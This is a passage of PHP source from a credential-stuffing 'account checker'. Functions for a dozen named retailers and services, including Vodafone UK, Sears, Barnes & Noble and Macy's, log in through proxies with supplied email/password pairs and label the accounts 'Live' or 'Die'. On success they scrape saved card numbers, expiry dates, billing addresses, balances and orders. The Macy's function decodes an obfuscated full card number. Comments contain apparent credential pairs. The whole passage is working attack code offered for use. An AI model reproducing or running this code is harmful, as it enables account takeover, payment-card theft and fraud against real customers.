900 $page = $curl->get("https://www.basspro.com/webapp/wcs/stores/servlet/UserRegistrationForm?catalogId=10051&langId=-1&storeId=10151&krypto=oeELImlnMXmlNbMTLcfsXTvXKZKmnUqiQ1RHxDzXU6juBJHpH%2FVkYsSf9hq3oMQ5oyhX%2FZFhfHp8%0Amv2v0zHQIM%2B0n3Y19stzIWnttI0%2BNKpnfBeYEw%2BH0w%3D%3D&ddkey=http:UserRegistrationForm");
901 $bill = getStr($page,'name="firstName" class="input name first narrow required" size="40" maxlength="12" value="','"')." ".getStr($page,'name="lastName" class="input name last required" size="40" maxlength="15" value="','"')." ".getStr($page,'name="address1" class="input address street1 required" size="40" maxlength="30" value="','"')." ".getStr($page,'name="city" class="input city narrow required" size="40" maxlength="40" value="','"')." ".substr(getStr($page,'id="reg_postalcode" class="input-postal-code narrow required" size="11" maxlength="30" value="','"'), 0,5)."-".substr(getStr($page,'id="reg_postalcode" class="input-postal-code narrow required" size="11" maxlength="30" value="','"'), 5)." ".getStr($page,'selected="selected" >','</option>')." ".getStr($page,'"autoTab(this,form.phone1Part2,event)" maxlength="3" value="','"')."-".getStr($page,'autoTab(this,form.phone1Part3,event)" maxlength="3" value="','"')."-".getStr($page,'onkeyup="autoTab(this,form.phone1Ext,event)" maxlength="4" value="','"');
902
903 $page = $curl->get("https://www.basspro.com/webapp/wcs/stores/servlet/BPSOrderSearch?catalogId=10051&langId=-1&storeId=10151&krypto=oeELImlnMXmlNbMTLcfsXdqvZZycRZJf94ICPsfxbT9lOGOf3KrPmA%3D%3D&ddkey=http:BPSOrderSearch");
904 if(strpos($page,'No orders found'))
905 {
906 $order = "No Order";
907 }
908 else
909 {
910 $order = "Have Order";
911 }
912 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $bill";
913 } elseif (strpos($page, "Enter the information again")) {
914 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
915 '<br>';
916 $tdie++;
917 } else {
918 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
919 '|' . '<br>';
920 }
921 flush(); ob_flush();
922 }
923 else
924 {
925 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
926 '|' . '<br>';
927 }
928 $curl->close();
929 unset($curl); // destroy object
930}
931function vodafone($m,$p,$sock)
932{
933 $curl = new curl;
934 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
935 $curl->cookiefile($cookie);
936 $curl->timeout("30");
937 if($sock) {$curl->proxy($sock);}
938 $curl->ssl(0, 2);
939
940 $url1 = "https://www.vodafone.co.uk/myvodafone/faces/home";
941
942 $page = $curl->get($url1);
943 $loop = getStr($page,'query = query.replace(/_afrLoop=[^&]*/, "','");');
944 $page = $curl->get("https://www.vodafone.co.uk/myvodafone/faces/home?".$loop."&_afrWindowMode=0&_afrWindowId=null");
945 $url = "https://www.vodafone.co.uk/myvodafone/faces/oracle/webcenter/portalapp/pagehierarchy/Page1.jspx";
946 $post = "authn_try_count=0&request_id=".getStr($page,'name="request_id" value="','"')."&OAM_REQ=".urlencode(getStr($page,'name="OAM_REQ" value="','"'));
947 $page = $curl->post($url,$post, 1, 1, 0);
948 $curl->referer("https://www.vodafone.co.uk/myvodafone/faces/oracle/webcenter/portalapp/pagehierarchy/Page1.jspx");
949 if ($page) {
950 $oam = urlencode(getStr($page,'name="OAM_REQ" type="hidden" value="','"'));
951 $viewstate = urlencode(getStr($page,'ViewState" value="','"'));
952 $url = "https://www.vodafone.co.uk/oam/server/auth_cred_submit";
953 $data = "searchQuery=Search&username=$m&password=$p&OAM_REQ=$oam&T%3Aoc_5739652421region1%3A0%3AloginForm%3Aremjid=LoginWithoutRememberMeOnClick&org.apache.myfaces.trinidad.faces.FORM=f1&javax.faces.ViewState=$viewstate&source=T%3Aoc_5739652421region1%3A0%3AloginForm%3Asignin1";
954 $page = $curl->post($url, $data, 1, 1, 0);
955
956
957 if (strpos($page, "/myvodafone/adfAuthentication?success_url")) {
958
959 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
960 } elseif (strpos($page, "authn_try_count")) {
961 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
962 '<br>';
963 $tdie++;
964 } else {
965 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
966 '|' . '<br>';
967 }
968 flush(); ob_flush();
969 }
970 else
971 {
972 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
973 '|' . '<br>';
974 }
975 $curl->close();
976 unset($curl); // destroy object
977}
978function zimbalam($m,$p,$sock)
979{
980 $curl = new curl;
981 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
982 $curl->cookiefile($cookie);
983 $curl->timeout("30");
984 if($sock) {$curl->proxy($sock);}
985 $curl->ssl(0, 2);
986
987 $url1 = "https://login.zimbalam.com/";
988 $m = rm($m);
989 $page = $curl->get($url1);
990 if ($page) {
991
992 $data = "action=login&language=&login=$m&password=$p&commit=Connect";
993
994 $page = $curl->post($url1, $data, 1, 1, 0);
995 if (!strpos($page, "Incorrect")) {
996 $balance = getStr($page,'Balance : ','</a>');
997
998 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Balance: $balance ";
999 } elseif (strpos($page, "Incorrect")) {
1000 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1001 '<br>';
1002 $tdie++;
1003 } else {
1004 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1005 '|' . '<br>';
1006 }
1007 flush(); ob_flush();
1008 }
1009 else
1010 {
1011 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1012 '|' . '<br>';
1013 }
1014 $curl->close();
1015 unset($curl); // destroy object
1016}
1017function tunecore($m,$p,$sock)
1018{
1019 $curl = new curl;
1020 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
1021 $curl->cookiefile($cookie);
1022 $curl->timeout("30");
1023 $curl->proxy($sock);
1024 $curl->ssl(0, 2);
1025
1026 $url1 = "https://www.tunecore.com/session";
1027
1028 $page = $curl->get($url1);
1029 if ($page) {
1030
1031 $data = "person%5Bemail%5D=$m&person%5Bpassword%5D=$p&commit=Log+In";
1032
1033 $page = $curl->post($url1, $data, 1, 1, 0);
1034 if (!strpos($page, "incorrectly")) {
1035 $balance = getStr($page,'Balance: ','</a>');
1036 $page = $curl->get('https://www.tunecore.com/people/909646/edit/?tab=payment');
1037 if(inStr($page,'You have not added a credit'))
1038 {
1039 $card = "No Card";
1040 }
1041 else
1042 {
1043 $card = getStr($page,'<div class="grid_3">','<div class="grid_1 omega">');
1044 $card = strip_tags($card);
1045 $card = str_replace("\n", "", $card);
1046 }
1047
1048
1049 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Balance: $balance | $card | ";
1050 } elseif (strpos($page, "incorrectly")) {
1051 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1052 '<br>';
1053 $tdie++;
1054 } else {
1055 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1056 '|' . '<br>';
1057 }
1058 flush(); ob_flush();
1059 }
1060 elseif(!$page)
1061 {
1062 return 'Socks Die ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1063 '|' . '<br>';
1064 }
1065 $curl->close();
1066 unset($curl); // destroy object
1067}
1068function hollister($m,$p,$sock)
1069{
1070 //pycoder@live.com|quocthang1
1071 $curl = new curl;
1072 $curl->cookiefile(null);
1073 $curl->timeout("30");
1074 if($sock) {$curl->proxy($sock);}
1075 $curl->ssl(0, 2);
1076
1077 $url1 = "https://m.hollisterco.com/webapp/wcs/stores/servlet/PrefixAdd";
1078
1079
1080 $page = $curl->get($url1);
1081 if ($page) {
1082
1083 $data = "URL=Logon%3FmoveOrderPromotionCode%3D1%26URL%3DOrderItemMove%253FURL%3DOrderCalculate%253FURL%3DUserAccountDisplay&reLogonURL=LogonErrorView&langId=-1&storeId=11205&catalogId=10201&fromOrderId=*&toOrderId=.&deleteIfEmpty=*&createIfEmpty=1&calculationUsageId=-1&updatePrices=1&rememberMe=true&logonId=$m&logonPassword=$p";
1084 $page = $curl->post($url1, $data, 1, 1, 0);
1085
1086 //return $page;
1087 if (!strpos($page, "Enter the information again.") && !strpos($page,'Wait a few seconds before attempting to log in again.')) {
1088
1089 $page = $curl->get('https://m.hollisterco.com/webapp/wcs/stores/servlet/PaymentTypesDisplay?storeId=11205&catalogId=10201&langId=-1');
1090 $card = getStr($page,'<ul class="paymenttype-list">','</ul>');
1091 $card = strip_tags($card);
1092 $card = urlencode($card);
1093 $card = str_replace("%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09+%0D%0A%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09Edit%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09span.promo-name%7Bcolor%3A%237e745f%3Btext-transform%3Auppercase%3B%7D%0D%0A%09%09div%23applied-promotion+td%7Bcolor%3A%237e745f%3Btext-transform%3Auppercase%3Bpadding-right%3A+14px+%21important%3B%7D%0D%0ARemove%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09", "", $card);
1094 $card = urldecode($card);
1095 $card = str_replace("XXXX XXXX XXXX", "", $card);
1096 $card = str_replace("Expires:", "", $card);
1097
1098 $page = $curl->get("https://m.hollisterco.com/webapp/wcs/stores/servlet/AddressBookDisplay?storeId=11205&catalogId=10201&langId=-1");
1099 $info = strip_tags(getStr($page,'<option value="">No default billing address specified.</option>','</option>'));
1100
1101 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | <font color=lime>[ $card ]</font> | $info | ";
1102 } elseif (strpos($page, "Enter the information again.")) {
1103 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1104 '<br>';
1105 $tdie++;
1106 } else {
1107 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1108 '|' . '<br>';
1109 }
1110 flush(); ob_flush();
1111
1112 $curl->close();
1113 unset($curl); // destroy object
1114 }
1115 else
1116 {
1117 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1118 '|' . '<br>';
1119 }
1120}
1121function aber($m,$p,$sock)
1122{
1123 //pycoder@live.com|Abc12345
1124 $curl = new curl;
1125 $curl->cookiefile(null);
1126 $curl->timeout("30");
1127 if($sock) {$curl->proxy($sock);}
1128 $curl->ssl(0, 2);
1129
1130 $url1 = "https://m.abercrombie.com/webapp/wcs/stores/servlet/PrefixAdd";
1131
1132
1133 $page = $curl->get($url1);
1134 if ($page) {
1135
1136 $data = "URL=Logon%3FmoveOrderPromotionCode%3D1%26URL%3DOrderItemMove%253FURL%3DOrderCalculate%253FURL%3DUserAccountDisplay&reLogonURL=LogonErrorView&langId=-1&storeId=11203&catalogId=10901&fromOrderId=*&toOrderId=.&deleteIfEmpty=*&createIfEmpty=1&calculationUsageId=-1&updatePrices=1&rememberMe=true&logonId=$m&logonPassword=$p";
1137 $page = $curl->post($url1, $data, 1, 1, 0);
1138
1139 //return $page;
1140 if (!strpos($page, "Enter the information again.") && !strpos($page,'Wait a few seconds before attempting to log in again.')) {
1141
1142 $page = $curl->get('https://m.abercrombie.com/webapp/wcs/stores/servlet/PaymentTypesDisplay?storeId=11205&catalogId=10201&langId=-1');
1143 $card = getStr($page,'<ul class="paymenttype-list">','</ul>');
1144 $card = strip_tags($card);
1145 $card = urlencode($card);
1146 $card = str_replace("%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09+%0D%0A%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09Edit%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09span.promo-name%7Bcolor%3A%237e745f%3Btext-transform%3Auppercase%3B%7D%0D%0A%09%09div%23applied-promotion+td%7Bcolor%3A%237e745f%3Btext-transform%3Auppercase%3Bpadding-right%3A+14px+%21important%3B%7D%0D%0ARemove%0D%0A%09%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09%09%0D%0A%09%09%09%09%09%09%09%09%09%09", "", $card);
1147 $card = urldecode($card);
1148 $card = str_replace("XXXX XXXX XXXX", "", $card);
1149 $card = str_replace("Expires:", "", $card);
1150
1151 $page = $curl->get("https://m.abercrombie.com/webapp/wcs/stores/servlet/AddressBookDisplay?storeId=11205&catalogId=10201&langId=-1");
1152 $info = strip_tags(getStr($page,'<option value="">No default billing address specified.</option>','</option>'));
1153
1154 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | <font color=lime>[ $card ]</font> | $info | ";
1155 } elseif (strpos($page, "Enter the information again.")) {
1156 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1157 '<br>';
1158 $tdie++;
1159 } else {
1160 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1161 '|' . '<br>';
1162 }
1163 flush(); ob_flush();
1164
1165 $curl->close();
1166 unset($curl); // destroy object
1167 }
1168 else
1169 {
1170 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1171 '|' . '<br>';
1172 }
1173}
1174function sears($m,$p,$sock)
1175{
1176
1177 $curl = new curl;
1178 $curl->cookiefile(null);
1179 $curl->timeout("30");
1180 $curl->ssl(0, 2);
1181 if($sock != "")
1182 {
1183 $curl->proxy($sock);
1184 }
1185
1186 $url1 = "https://sso.shld.net/shccas/usr/loginhandler.htm";
1187
1188 $page = $curl->get($url1);
1189 if ($page) {
1190
1191 $data = "loginId=$m&logonPassword=$p&sourceSiteId=3&service=https%3A%2F%2Fwww.sears.com%2Fshc%2Fs%2FUSRLogon%3FstoreId%3D10153%26catalogId%3D12605%26langId%3D-1&redirectUrl=http%3A%2F%2Fwww.sears.com%2F%3FstoreId%3D10153%26catalogId%3D12605&modifyservice=true&sywLogin=true&tncmodal=false&clienthost=www.sears.com&renew=true&shcAJAX=1";
1192 $page = $curl->post($url1, $data, 1, 1, 0);
1193 $url = getStr($page,'<input id="serviceURL" name="serviceURL" value="','"');
1194
1195 if ($url != "") {
1196 $page = $curl->get($url);
1197
1198 $page = $curl->get("https://www.sears.com/shc/s/OrderCenterView?storeId=10153&catalogId=12605&langId=-1");
1199 if(strpos($page,'Currently, you do not have any online orders.'))
1200 {
1201 $order = "No Order";
1202 }
1203 else
1204 {preg_match_all("/<li class=\"msPurchaseDate\"><p>(.*)<\/p>/", $page, $date);
1205 $order = "<".getStr($page,'<li class="msOrderNumber"><p><','</li>')."-".$date[1][1]."-".getStr($page,'<li class="msTotal"><p>$','<br />');
1206 $order = strip_tags($order);
1207
1208 }
1209 $page = $curl->get("https://www.sears.com/shc/s/PersonalInfoView");
1210
1211 $bill = getStr($page,'<select id="expressBilling">','</option>');
1212 $bill = strip_tags($bill);
1213 $cc = getStr($page,'cardTypeForDisplay: "','"')."-".getStr($page,'accountNumber: "********','"')."-".getStr($page,'cardExpireMonth: "','"')."/".getStr($page,'cardExpireYear: "','"');
1214 return "<font color=yellow><b>Live</b></font> | $m | $p @@@@ | $order | $cc | $bill";
1215 }
1216 elseif ($url == "") {
1217 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1218 '<br>';
1219 $tdie++;
1220 } else {
1221 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1222 '|' . '<br>';
1223 }
1224 flush(); ob_flush();
1225
1226 $curl->close();
1227 unset($curl); // destroy object
1228 }
1229}
1230function landsend($m,$p,$sock)
1231{
1232 //pycoder@live.com|quocthang1
1233 $curl = new curl;
1234 $curl->cookiefile(null);
1235 $curl->timeout("30");
1236 $curl->ssl(0, 2);
1237 //$curl->proxy("184.182.240.89:12491");
1238 $url1 = "https://www.landsend.com/co/LoginPage";
1239
1240 $page = $curl->get($url1);
1241 if ($page) {
1242
1243 $data = "action=LOG_IN&refer=&redirect=&extraOptions=&saveLoyaltyMemberAction=0&loyaltyMemberNumber=&weakPasswordWarn=false&oldPassword=&emailAddress=$m&password=$p&password_text=&Log_me_in.x=1";
1244 $page = $curl->post($url1, $data, 1, 1, 0);
1245 if (!strpos($page, "Please try again")) {
1246 $infox = getStr($page,'<h3>Default Billing Information</h3>','</dl><!-- END .contact-info -->');
1247 $card = getStr($page,'<dt>Credit Card Type</dt>','</dl>');
1248 $card = str_replace("Credit Card Number", "", $card);
1249 $card = strip_tags($card);
1250 $info = str_replace(array("Name","Address","Email","Email","Credit Card Number","Credit Card Type",$m), "", $infox);
1251 $info = strip_tags($info);
1252 $info = str_replace($card,"",$info);
1253 $info = str_replace("Country", "", $info);
1254 $link = getStr($page,'<dt>Credit Card Number</dt>','class="link-cta');
1255 $link = getStr($link,'<b><a href="','"');
1256 $page = $curl->get($link);
1257
1258 $month = getStr($page,'<select id="expireMonth" title="Expiration Month" importance="primary" name="expireMonth">','<select>');
1259 $month = getStr($month,'selected="selected" >','</option');
1260 $year = getStr($page,'<select id="expireYear" title="Expiration Year" importance="primary" name="expireYear">','<select>');
1261 $year = getStr($year,'selected="selected" >','</option');
1262
1263 $card = "<font color=green>[ ".$card." - ".$month."/".$year." ] </font>";
1264 $card = str_replace("**** **** ", "", $card);
1265
1266 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $info";
1267 } elseif (strpos($page, "Please try again")) {
1268 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1269 '<br>';
1270 $tdie++;
1271 } else {
1272 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1273 '|' . '<br>';
1274 }
1275 flush(); ob_flush();
1276
1277 $curl->close();
1278 unset($curl); // destroy object
1279 }
1280 else
1281 {
1282 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1283 '|' . '<br>';
1284 }
1285}
1286function bn($m,$p,$sock)
1287{
1288 $curl = new curl;
1289 $curl->cookiefile(null);
1290 $curl->timeout("30");
1291 if($sock) {$curl->proxy($sock);}
1292 $curl->ssl(0, 2);
1293
1294 $url1 = "https://www.barnesandnoble.com/signin";
1295
1296
1297 $page = $curl->get($url1);
1298 if ($page) {
1299 $csrftoken = getStr($page,'csrfToken" value="','"');
1300 $data = "csrfToken=$csrftoken&login.email=$m&hasAccount=true&login.password=$p";
1301 $page = $curl->post($url1, $data, 1, 1, 0);
1302
1303 if (!strpos($page, "entered does not match our records.")) {
1304 $page = $curl->get("https://www.barnesandnoble.com/account/payment");
1305 preg_match_all("/<span class=\"name-number\">(.*)<\/span>/", $page, $match);
1306 preg_match_all("/<span class=\"expiry\">Exp. (.*)<\/span>/", $page, $exp);
1307 $i = 0;
1308 while ($i < count($match[1])) {
1309 $ccnum = explode("|",$match[1][$i]);
1310 $ccexp = explode(" ",$exp[1][$i]);
1311 $ccexp[1] = str_replace(array('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'), array('01','02','03','04','05','06','07','08','09','10','11','12'), $ccexp[1]);
1312 $card .= " [".$ccnum[0]."-".$ccexp[1]."/".$ccexp[5]."]";
1313 $i++;
1314 }
1315 $page = $curl->get("https://www.barnesandnoble.com/account/");
1316 $order = getStr($page,'<tr class="">','</tr>');
1317 $get2 = getStr($order,'<td>','</td>');
1318 $get = explode(" ",$get2);
1319 unset($get[0]); unset($get[3]); unset($get[4]);
1320 $get[1] = str_replace(array('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'), array('01','02','03','04','05','06','07','08','09','10','11','12'), $get[1]);
1321
1322 $order = str_replace("</td>", "-", $order);
1323 $order = str_replace($get2, implode("/", $get), $order);
1324 $order = strip_tags($order);
1325
1326 $info = getStr($page,'<div class="address">','</div>');
1327 $info = str_replace("<br />", " ", $info);
1328 $info = strip_tags($info);
1329 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $info | ";
1330 } elseif (strpos($page, "entered does not match our records.")) {
1331 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1332 '<br>';
1333 $tdie++;
1334 } else {
1335 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1336 '|' . '<br>';
1337 }
1338 flush(); ob_flush();
1339
1340 $curl->close();
1341 unset($curl); // destroy object
1342 }
1343 else
1344 {
1345 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1346 '|' . '<br>';
1347 }
1348}
1349function uggaustralia($m,$p,$sock)
1350{
1351 $curl = new curl;
1352 $curl->cookiefile(null);
1353 $curl->timeout("30");
1354 if($sock) {$curl->proxy($sock);}
1355 $curl->ssl(0, 2);
1356
1357 $url1 = "https://www.uggaustralia.com/account";
1358
1359
1360 $page = $curl->get($url1);
1361 if ($page) {
1362 $url = getStr($page,'<form action="','"');
1363 $form = getStr($page,'id="dwfrm_login_username_','"');
1364 $key = getStr($page,'name="dwfrm_login_securekey" value="','"');
1365 $data = "dwfrm_login_username_$form=$m&dwfrm_login_password=$p&dwfrm_login_login=Sign+In&dwfrm_login_securekey=$key";
1366 $page = $curl->post($url, $data, 1, 1, 0);
1367
1368 if (!strpos($page, "Sign Into Your")) {
1369 $page = $curl->get("https://www.uggaustralia.com/on/demandware.store/Sites-UGG-US-Site/default/Address-List");
1370 $info = getStr($page,'bill-to','</address>');
1371 $info = strip_tags($info);
1372
1373 $page = $curl->get("https://www.uggaustralia.com/on/demandware.store/Sites-UGG-US-Site/default/PaymentInstruments-List");
1374 $card = getStr($page,'<ul class="payment-list">',' <div class="full-clear">');
1375 $card = str_replace("<br />", "-", $card);
1376 $card = str_replace(array("Card ending with",":","Exp."), "", $card);
1377 $card = str_replace("Delete Card", "|", $card);
1378
1379 $card = strip_tags($card);
1380
1381 $page = $curl->get("https://www.uggaustralia.com/on/demandware.store/Sites-UGG-US-Site/default/Order-History");
1382 if(strpos($page,'We have no order records for this account.'))
1383 {
1384 $order = "No order";
1385 }
1386 else
1387 {
1388 $order = getStr($page,'<span class="label">Date Ordered:</span>','</span>')."-".getStr($page,'<span class="label">Order Number:</span>','</span>')."-".getStr($page,'<span class="value clearfix">','</span>');
1389 $order = strip_tags($order);
1390 }
1391 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $info";
1392 } elseif (strpos($page, "Sign Into Your")) {
1393 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1394 '<br>';
1395 $tdie++;
1396 } else {
1397 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1398 '|' . '<br>';
1399 }
1400 flush(); ob_flush();
1401
1402 $curl->close();
1403 unset($curl); // destroy object
1404 }
1405 else
1406 {
1407 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1408 '|' . '<br>';
1409 }
1410}
1411function lancome($m,$p,$sock)
1412{
1413 $cookie = tempnam('cookie','die'.rand(100000000000,999999999999) .'.txt');
1414 $curl = new curl;
1415 $curl->cookiefile($cookie);
1416 $curl->timeout("30");
1417 if($sock) {$curl->proxy($sock);}
1418 $curl->ssl(0, 2);
1419
1420 $url1 = "https://www.lancome-usa.com/on/demandware.store/Sites-lancome_us-Site/default/Account-Show";
1421
1422
1423 $page = $curl->get($url1);
1424 if ($page) {
1425 $curl->referer($url1);
1426 preg_match_all("/<form action=\"(.*)\" method=\"post\"/", $page, $url);
1427 $data = "dwfrm_login_username=$m&dwfrm_login_password=$p&dwfrm_login_rememberme=true&dwfrm_login_login=SIGN+IN";
1428 $page = $curl->post($url[1][1], $data, 1, 1, 0);
1429
1430 if (!strpos($page, "Email Sign-In")) {
1431 $curl->referer($url[1][1]);
1432 $page = $curl->get("https://www.lancome-usa.com/on/demandware.store/Sites-lancome_us-Site/default/Order-History");
1433
1434 if(strpos($page,'We have no order records for this account.'))
1435 {
1436 $order = "No Order";
1437 }
1438 else
1439 {
1440 $order = "Have Order";
1441 }
1442 $page = $curl->get("https://www.lancome-usa.com/on/demandware.store/Sites-lancome_us-Site/default/PaymentInstruments-List");
1443 preg_match_all("/<div class=\"type\">(.*)<\/div>/", $page, $type);
1444 preg_match_all("/<div class=\"number\">(.*)<\/div>/", $page, $num);
1445 preg_match_all("/<div class=\"expiration\">(.*)<\div>/", $page, $exp);
1446 $i = 0;
1447 while($i < count($type[1]))
1448 {
1449 $card .= "[".$type[1][$i]."-".$num[1][$i]."-".$exp[1][$i]."]";
1450 $i++;
1451 }
1452 $page = $curl->get("https://www.lancome-usa.com/on/demandware.store/Sites-lancome_us-Site/default/Address-List");
1453 $info = getStr($page,'<div class="name">','</div><!-- END: address -->');
1454 $info = strip_tags($info);
1455 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $info";
1456 } elseif (strpos($page, "Email Sign-In")) {
1457 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1458 '<br>';
1459 $tdie++;
1460 } else {
1461 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1462 '|' . '<br>';
1463 }
1464 flush(); ob_flush();
1465
1466 $curl->close();
1467 unset($curl); // destroy object
1468 }
1469 else
1470 {
1471 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1472 '|' . '<br>';
1473 }
1474}
1475
1476function macys($m,$p,$sock)
1477{
1478 $curl = new curl;
1479 $curl->cookiefile(null);
1480 $curl->timeout("30");
1481 if($sock) {$curl->proxy($sock);}
1482 $curl->ssl(0, 2);
1483
1484 $url1 = "https://m.macys.com/account/signin?cm_sp=navigation-_-top_nav-_-signin";
1485
1486
1487 $page = $curl->get($url1);
1488 if ($page) {
1489
1490 $data = "email=$m&password=$p&accountSignIn=accountSignIn";
1491 $page = $curl->post($url1, $data, 1, 1, 0);
1492
1493
1494 if (!strpos($page, "Please try again") && !strpos($page,"We're sorry")) {
1495
1496 $page = $curl->get('https://m.macys.com/account/wallet');
1497
1498 preg_match_all('/name="([^"]+creditCardId)"[^>]*value="([^"]+)"/si', $page, $matches);
1499
1500 $cardIDs = $matches[2];
1501 $ccCount = count($cardIDs);
1502
1503 foreach ($cardIDs as $cid)
1504 {
1505 $url = "https://m.macys.com/account/wallet";
1506 $post = 'action=EDIT&creditCardVB.creditCardId=' . $cid .'&validationCheck=false';
1507 $page = $curl->post($url, $post, 1, 1, 0);
1508
1509
1510 preg_match_all('/name="(creditCardVB[^"]+)"[^>]*value="([^"]+)"/si', $page, $matches);
1511 preg_match_all('/value="([^"]+)" selected>[^<]+<\/option>/si', $page, $matches2);
1512 if (count($matches2[1]) < 4)
1513 {
1514 continue;
1515 }
1516 if($matches2[1][1] == -1 || $matches2[1][2] == -1)
1517 {
1518 $info['type'] = "Macys Card";
1519 }
1520 elseif ($matches2[1][1] < 7 && $matches2[1][2] <= 2014)
1521 {
1522 continue;
1523 }
1524 $xor = base64_decode(getStr($page, 'value="{xor}', '"'));
1525 $n = strlen($xor);
1526 $info['ccnum'] = '';
1527 for ($i = 0; $i < $n; $i++)
1528 {
1529 $info['ccnum'] .= $xor[$i] ^ '_';
1530 }
